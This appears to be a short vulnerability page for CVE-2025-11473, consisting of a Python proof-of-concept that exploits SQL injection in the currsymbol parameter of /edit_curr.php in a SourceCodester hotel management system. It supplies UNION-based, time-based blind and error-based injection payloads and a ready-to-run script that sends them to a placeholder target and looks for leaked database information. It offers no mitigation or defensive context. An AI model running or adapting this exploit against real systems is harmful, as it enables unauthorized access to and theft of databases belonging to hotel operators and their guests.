CVE-2025-11473：SourceCodester酒店管理系统SQL注入漏洞

# CVE-2025-11473 SQL Injection PoC # Target: SourceCodester Hotel and Lodge Management System 1.0 # Vulnerable file: /edit_curr.php # Vulnerable parameter: currsymbol import requests TARGET_URL = "http://target.com" VULNERABLE_ENDPOINT = "/edit_curr.php" # SQL Injection payload targeting the currsymbol parameter # Using UNION-based injection to extract database information payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" # Alternative time-based blind injection payload time_based_payload = "1' AND SLEEP(5)-- -" # Alternative error-based payload error_based_payload = "1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -" def exploit_sqli(target_url, endpoint, injection_payload): """ Exploit SQL injection in currsymbol parameter """ url = target_url + endpoint # Construct request parameters params = { "currsymbol": injection_payload, "id": "1" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request successful - Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") # Check for database information leakage in response if "information_schema" in response.text.lower() or "mysql" in response.text.lower(): print("[!] Database information detected in response") return response.text else: print(f"[-] Request failed - Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Execute exploit if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}{VULNERABLE_ENDPOINT}") print(f"[*] Payload: {payload}") result = exploit_sqli(TARGET_URL, VULNERABLE_ENDPOINT, payload) if result: print("[+] Exploit completed. Check response for extracted data.")